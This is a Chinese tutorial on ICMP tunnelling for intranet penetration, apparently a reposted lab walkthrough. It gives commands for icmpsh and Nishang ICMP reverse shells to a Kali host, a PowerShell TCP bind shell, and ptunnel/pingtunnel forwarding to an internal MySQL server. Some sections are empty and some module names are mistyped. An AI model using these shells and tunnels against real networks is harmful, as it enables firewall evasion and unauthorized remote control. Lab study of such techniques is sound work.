当前位置: 首页 > news >正文

内网渗透-ICMP隧道

一、icmpsh工具

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

这次使用的是icmpsh工具,下载地址:https://github.com/inquisb/icmpsh

我们基于windows2016和Kali进行通信

因为icmpsh工具要替代系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行不会稳定,在kali上修改以下参数:

# sysctl -w net.ipv4.icmp_echo_ignore_all=1  #设置为0可以还原

我们可以先来看看这个内核参数,使用如下命令:

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

然后修改内核参数,修改成功

首先在Kali上将服务器端启动起来

python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44
前面的IP是本机IP,后面的IP是目标机器的IP

然后再windows2016上启动其客户端

kali这边就获取到了windows2016的控制台

执行ipconfig发现没有问题,就是感觉慢了一点

我们使用wireshark去监听一下

使用命令whoami,然后使用wireshark进行监听

并且通过分析数据包发现,当响应的内容太多时,icmpsh会将内容分成多个数据包进行发送

如果windows反弹回来的命令行有乱码,则直接执行:chcp 65001的命令即可修正

二、PowerShell ICMP客户端

icmpsh.exe只能运行于Windows环境,而如果使用PowerShell ICMP客户端,则可以直接运行于任何有PowerShell的环境中

1、在Kali上正常运行icmpsh

# python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44

2、在Windows环境运行NiShang中的icmp模块

进入到nishang/Shells目录 

我们直接进入到PowerShell命令行里去运行

我们在当前环境中导入了这个模块

Import-Module .\Invoke-PowerShellIcmp.psl

然后我们就可以使用这个模块了

Invoke-PowerShellcmp 192.168.18.29
后面的IP地址是目标主机的IP地址

此时,在Kali中获取到了Windows2016的反弹Shell,反弹到了shell命令行了

然后就可以执行命令了

当然我们可以进行监听一下

这个是请求过去的

这是给我们返回来的 

3、顺带了解一下NiShang框架中基于TCP的正向连接Shell

在Windows2016上执行:

Import-Moudle .\Invoke-PowerShellTcp.psl
Invoke-PowerShellTcp -Bind -Port 6666

此时进入监听状态,然后在Kali上运行以下命令正向连接:

4、使用TCP/UDP协议的反弹Shell

三、PingTunnel

1、如果需要安装在Centos环境中,安装步骤如下:

 启动ptunnel

 

这是对应的ICMP数据包

 ICMP的数据包突然变大,那它必然是一个问题,不管是什么目的,肯定是是一个问题,因为一个正常的ICMP数据包不可能会这么大

 

我们刚刚代理的是windows7的80端口 

现在我们要进入windows7的mysql该怎么办

我们把端口换为3306

毫无疑问,我们的浏览器无法访问到其80端口,下图存在缓存,因为标题那儿一直在转圈,所以无法访问

 127.0.0.1:8899

访问到的是mysql的信息

直接进入到目标主机的mysql环境

四、使用Go语言版本的pingtunnel

在Centos跳板机中运行服务器端

发现没有报错,那我们就可以在浏览器中配置代理了

然后我们再去访问一下,没有问题,访问成功

五、icmptunnel

对于内网,面试官最爱问的问题是:当某台主机不出网的时候,你会怎么办

其实我们实验中的windows7就不出网,它不能上外网,外网也不能访问它,因为我们ping 百度无法ping通,这就叫做不出网

不出网能不能使用端口映射

端口映射是要跟公网服务器打交道,不出网如何和公网打交道,所以说不出网不能使用端口映射

我们只能用内网路由和内网代理,让跳板机做端口转发,只有这三条路可选

那我们通过ICMP怎么办

然后就用PingTunnel这种方式来做端口转发,要和跳板机联通

接着可能又会问为难人的问题,跳板机也访问不到我们的windows7该怎么办

也许其他电脑能和我们的windows7联通

http://www.dtcms.com/a/99617.html

相关文章:

  • javaScript Vue2的高级用法
  • 微型导轨和普通导轨有哪些区别?
  • 如何在ms-swift 微调训练deepseekvl2时使用sageattention
  • flutter优秀项目推荐
  • 【Spring Boot 与 Spring Cloud 深度 Mape 之五】微服务守门神:Spring Cloud Gateway 核心详解与实战
  • Linux下xl9535 gpio扩展芯片bug调试
  • Java面试黄金宝典16
  • C语言_数据结构_排序
  • LeetCode 每日一题 2025/3/24-2025/3/30
  • Typora使用Gitee作为图床
  • Windows模仿Mac大小写切换, 中英文切换
  • Python自动化面试通关秘籍
  • 相似度计算 ccf-csp 2024-2-2
  • 网络华为HCIA+HCIP ip-prefix,route-policy
  • DBeaver Error : Public Key Retrieval is not allowed
  • 可视化图解算法: 二叉树的前序遍历
  • 算法-前缀和与差分
  • 【hadoop】远程调试环境
  • 用Python打造智能宠物:强化学习的奇妙之旅
  • 计算机三级信息安全部分英文缩写
  • 【MyBatis】MyBatis 操作数据库
  • Windows学习笔记(4)关于MITRE
  • 解决 FFmpeg 使用 C/C++ 接口时,解码没有 shell 快的问题(使用多线程)
  • 用Python实现资本资产定价模型(CAPM)
  • ubuntu 安装mysql
  • Python 中列表(List)、元组(Tuple)、集合(Set)和字典(Dict)四大数据结构的完整对比
  • macOS Jdk1.8安装(目前主流版本的jdk)
  • 【漫话机器学习系列】163.方差膨胀因子(Variance Inflation Factor, VIF)
  • Spring 通过多种方式实现使用线程
  • 在用redis当中可能遇到的问题解决方案以及redis中的一些名词解释